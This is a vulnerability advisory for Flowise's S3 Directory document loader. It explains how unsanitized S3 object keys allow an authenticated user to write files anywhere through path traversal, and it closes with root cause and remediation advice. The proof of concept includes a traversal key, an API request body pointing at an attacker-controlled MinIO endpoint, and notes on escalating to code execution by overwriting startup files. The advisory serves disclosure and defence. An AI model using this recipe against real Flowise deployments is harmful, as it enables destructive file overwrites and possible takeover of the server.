Flowise: Authenticated arbitrary file write in the `S3 Directory` document loader via unsanitized S3 object keys

Impact

• Authenticated arbitrary file write to any path writable by the Flowise
  process
• Destructive overwrite of application data, secrets, or configuration
• Deployment-dependent lift to RCE if the service account can modify
  executable, startup, or interpreter-loaded files
  (e.g. .bashrc, systemd units, cron files, require.resolve targets,
  package.json postinstall scripts). This is not guaranteed
  product-wide.

Preconditions

• Flowise instance running (HTTP server mode)
• Attacker has a workspace account with the
  documentStores:preview-process role
• No additional infrastructure required — serverUrl can point to
  attacker-controlled S3-compatible endpoint

Proof of Concept

1. Authenticate as a user with documentStores:preview-process
2. Run an S3-compatible server the attacker controls (e.g. MinIO)
3. Create an object with a traversal key such as:
   ../../../../tmp/flowise-poc.txt
4. Trigger:
   POST /api/v1/document-store/loader/preview
   (or /api/v1/document-store/loader/process/:loaderId)
   body: {
   "loaderId": "s3Directory",
   "loaderConfig": {
   "serverUrl": "http://attacker-minio:9000",
   "bucketName": "attacker-bucket",
   "prefix": "",
   "credential": ""
   }
   }
5. Observe that Flowise writes the object bytes to the escaped path
6. Observe that cleanup removes only the original temp directory; the escaped file persists

Local reproduction confirmed: writing a key containing
../../escape-target/poc.txt from a nested temp root created the file
outside the temp directory, and the cleanup removed only tempDir.

Root Cause

The loader trusts S3 object keys as safe local relative paths. It should
canonicalize the destination with path.resolve(...), verify the resolved
path remains within the intended temp directory, and reject traversal or
absolute-path patterns before any directory creation or file write.

Suggested Remediation

The repository already has shared path validators that are not used here:

• packages/components/src/validator.ts:35 defines traversal checks
• packages/components/src/validator.ts:295 defines sanitizeFileName

Recommended fix:

1. Replace path.join(tempDir, key) with a resolve-and-verify flow
2. Reject any resolved path outside tempDir
3. Prefer a sanitized basename if directory structure is not required
4. Apply the same fix to the S3File loader (fileProcessingMethod = unstructured branch)